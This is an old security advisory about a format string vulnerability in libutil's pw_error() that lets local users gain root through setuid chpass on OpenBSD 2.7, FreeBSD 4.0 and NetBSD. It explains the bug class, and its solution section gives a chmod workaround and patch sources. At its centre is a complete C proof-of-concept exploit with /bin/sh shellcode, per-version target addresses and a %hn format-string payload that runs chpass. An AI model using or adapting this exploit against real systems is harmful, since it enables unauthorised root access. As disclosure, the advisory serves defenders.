COMMAND
libutil pw_error(3) (chpass)
SYSTEMS AFFECTED
OpenBSD 2.7, FreeBSD 4.0, NetBSD
PROBLEM
Aaron Campbell posted following. A format string vulnerability
present in the pw_error() function of OpenBSD 2.7's libutil
library can yield localhost users root access through the setuid
/usr/bin/chpass utility. This particular vulnerability was
repaired three months ago on June 30th in OpenBSD-current during
a complete source tree audit for format string problems.
This vulnerability affects OpenBSD versions through 2.7. FreeBSD
4.0 is vulnerable, but patches have been backported, and FreeBSD
versions 4.1 and 4.1.1 are safe. Bill Sommerfield committed a
fix to NetBSD today shortly after we notified him of the problem.
In recent months a myriad of "format string" vulnerabilities have
been discovered in a number of software packages. In response to
this threat, the OpenBSD team immediately began a complete source
tree audit, identifying and fixing dozens of these format bugs.
While most of the issues were harmless, a few such as the bug in
xlock and one in the OpenBSD ftpd daemon raised the red flag and
patches were released to correct these problems. Unfortunately,
the severity of the format string bug that was fixed in pw_error()
was not fully realized at the time.
In addition to fixing the bugs, CAVEATS sections were added to all
stdarg function man pages (printf, syslog, setproctitle, err/warn)
to warn programmers that user-supplied strings should never be
passed to these routines without using the "%s" conversion
specifier.
To understand a format string attack, you need only understand
how varargs (see "man stdarg") functions work. For example, the
printf() function accepts a variable number of arguments depending
on the supplied format. Here is the function prototype:
int
printf(const char *format, ...);
The problem occurs when one of these functions is used thusly:
printf(user_supplied_string);
An attacker can put their own format specifiers in
user_supplied_string. The printf() function does not know where
it's arguments stop on the stack. If you put 100 `%s' format
specifiers in the string, but give it no arguments, the function
will happily continue on down the stack blindly.
The problem is magnified by special conversion specifiers such as
`%n' which let you write to memory. Further attack details are
beyond the scope of this advisory. For more information see
Guardent's white paper on "Format String Attacks" by Tim Newsham
at the following URL:
http://www.guardent.com/docs/FormatString.PDF
Proof of concept:
/*
* TESO BSD chpass exploit - caddis <caddis@dissension.net>
*
* greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613
*
*/
#include <stdio.h>
char bsd_shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";
char ptmp_shellcode[] =
"\xeb\x26\x5e\x31\xdb\x88\x5e\x07"
"\x89\x76\x12\x89\x5e\x16\x8d\x4e"
"\x12\x8d\x56\x08\x31\xc0\x52\x53"
"\xb0\x0a\xcd\x80\x53\x51\x56\x53"
"\xb0\x3b\xcd\x80\xb0\x01\xcd\x80"
"\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp";
struct platform {
char *name;
unsigned short count;
unsigned long dest_addr;
unsigned long shell_addr;
char *shellcode;
};
struct platform targets[9] =
{
{ "OpenBSD 2.7 i386 ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode },
{ "OpenBSD 2.6 i386 ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode },
{ "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode },
{ "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode },
{ "FreeBSD 4.0-RELEASE ", 167, 0x805023c, 0xbfbffc68, bsd_shellcode },
{ "FreeBSD 3.5-RELEASE ", 135, 0x804fa58, 0xbfbfdcac, bsd_shellcode },
{ "FreeBSD 3.4-RELEASE ", 131, 0x804f988, 0xbfbfdcd0, bsd_shellcode },
{ "NetBSD 1.4.2 ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode },
{ NULL, 0, 0, 0, NULL }
};
char jmpcode[129];
char fmt_string[1000];
char *args[] = { "chpass", NULL };
char *envs[] = { jmpcode, fmt_string, NULL };
void usage(char *name)
{
printf("%s <TARGET>\n"
"1 - OpenBSD 2.7 i386\n"
"2 - OpenBSD 2.6 i386\n"
"3 - OpenBSD 2.5 1999/08/06\n"
"4 - OpenBSD 2.5 1998/05/28\n"
"5 - FreeBSD 4.0-RELEASE\n"
"6 - FreeBSD 3.5-RELEASE\n"
"7 - FreeBSD 3.4-RELEASE\n"
"8 - NetBSD 1.4.2\n", name);
exit(1);
}
int main(int argc, char *argv[])
{
char *p;
int x, len = 0;
struct platform *target;
unsigned short low, high;
unsigned long shell_addr[2], dest_addr[2];
if (argc != 2)
usage(argv[0]);
x = atoi(argv[1]) - 1;
if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0)
usage(argv[0]);
target = &targets[x];
memset(jmpcode, 0x90, sizeof(jmpcode));
strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shellcode);
strcat(fmt_string, "EDITOR=");
for (x = 0; x < target->count; x++) {
strcat(fmt_string, "%8x");
len += 8;
}
shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
shell_addr[1] = target->shell_addr & 0xffff;
if (shell_addr[1] > shell_addr[0]) {
dest_addr[0] = target->dest_addr+2;
dest_addr[1] = target->dest_addr;
low = shell_addr[0] - len;
high = shell_addr[1] - low - len;
} else {
dest_addr[0] = target->dest_addr;
dest_addr[1] = target->dest_addr+2;
low = shell_addr[1] - len;
high = shell_addr[0] - low - len;
}
*(long *)&jmpcode[1] = 0x11111111;
*(long *)&jmpcode[5] = dest_addr[0];
*(long *)&jmpcode[9] = 0x11111111;
*(long *)&jmpcode[13] = dest_addr[1];
p = fmt_string + strlen(fmt_string);
sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
execve("/usr/bin/chpass", args, envs);
perror("execve");
}
SOLUTION
Workaround is:
/bin/chmod u-s /usr/bin/chpass
Use this command to protect yourself until you are patched. (Note
that the vulnerability is actually in the libutil library, which
chpass is linked to, not the chpass program itself.) Then, apply
the fix below to your OpenBSD 2.7 source tree. The patch is also
available at
http://www.openbsd.org/errata.html (025)
OpenBSD users running -current (2.8-beta) with a system dated July
1st or thereafter are safe.
FreeBSD 4.1-RELEASE and newer aren't vulnerable. This problem was
fixed by us in our sweep of the tree in search of the format bugs
that came to light in late June. There is a related patch as well
available at:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:58/vipw.patch
The problem was fixed in NetBSD-current on 2000/10/03; systems
running NetBSD-current dated from before that date should be
upgraded to NetBSD-current dated 2000/10/04 or later. The two
active release branches were both fixed by 2000/10/05. Systems
running releases older than NetBSD 1.4 should be upgraded to
NetBSD 1.4.2 before applying the fixes described here.